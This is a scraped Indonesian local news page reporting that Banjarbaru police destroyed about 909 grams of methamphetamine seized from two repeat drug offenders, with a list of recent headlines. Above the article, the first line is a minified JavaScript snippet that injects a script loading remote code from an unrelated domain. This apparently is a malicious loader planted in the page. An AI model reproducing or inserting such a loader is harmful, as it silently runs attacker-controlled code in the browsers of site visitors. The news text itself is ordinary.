(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Buah Tangkapan 2 Residivis Narkoba di Banjarbaru, Sabu 909,52 Gram Dimusnahkan


KANALKALIMANTAN.COM, BANJARBARU – Dua tersangka pengedar narkob di kota Banjarbaru HJ dan RN, hanya bisa tertunduk menyaksikan ratusan gram sabu milik mereka dimusnahkan pada Rabu (4/8/2020) siang.

Dalam kegiatan ini, Polres Banjarbaru memusnahkan barang bukti sabu dengan berat mencapai 909,52 gram, hasil tangkapan HJ dan RN, pada 22 Juli lalu. Keduanya diringkus di samping SMPN 9 Banjarbaru RT 019 RW 008, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara.

Informasi yang dihimpun Kanalkalimantan.com, saat kedua tersangka diamankan Satresnarkoba Polres Banjarbaru dipimpin AKP Elche, petugas menemukan barang bukti narkoba berupa 12 lembar plastik klip yang di dalamnya terdapat narkotika jenis sabu-sabu seberat 909,52 gram.

“Dari pengakuan kedua tersangka, barang haram ini akan diedarkan ke sejumlah wilayah seperti Banjarmasin, Banjarbaru dan daerah Banua Enam,” kata AKP Elche.

Pemusnahan barang bukti sabu dilakukan sesuai dengan pasal 91 ayat (2) UU RI No.35 tahun 2009 tentang Narkotika. Kristal haram ini dimusnahkan dengan cara diblender dan dilarutkan ke dalam detergen, lalu dibuang.

Kapolres Banjarbaru AKBP Doni Hadi Santoso Melalui Kassubag Humas Polres Banjarbaru Iptu Tajudin Noor mengatakan, pengungkapan kasus peredaran gelap narkoba selaras dengan kebijakan program Kapolda Kalsel Irjen Pol Dr Nico Afinta, dalam rangka pemeliharaan harkamtibmas.

Terkait hasil penyelidikan, Iptu Tajudin menambahkan, HJ dan RN merupakan residivis yang dulu pernah di bui karena kasus yang sama. Menurutnya, atas ditangkapnya kedua tersangka tersebut, jutaan jiwa terselematkan dari jerat narkoba.

“Dengan ditangkap 2 tersangka narkoba tersebut jutaan jiwa terselamatkan dari jerat narkoba. Keduanya diancam dengan  pasal 114,112,132 UUD Narkotika no 35 tahun 2010 dengan ancaman hukuman maksimal 20 tahun penjara,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

4 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

4 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

6 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

9 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

13 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

13 jam ago

This website uses cookies.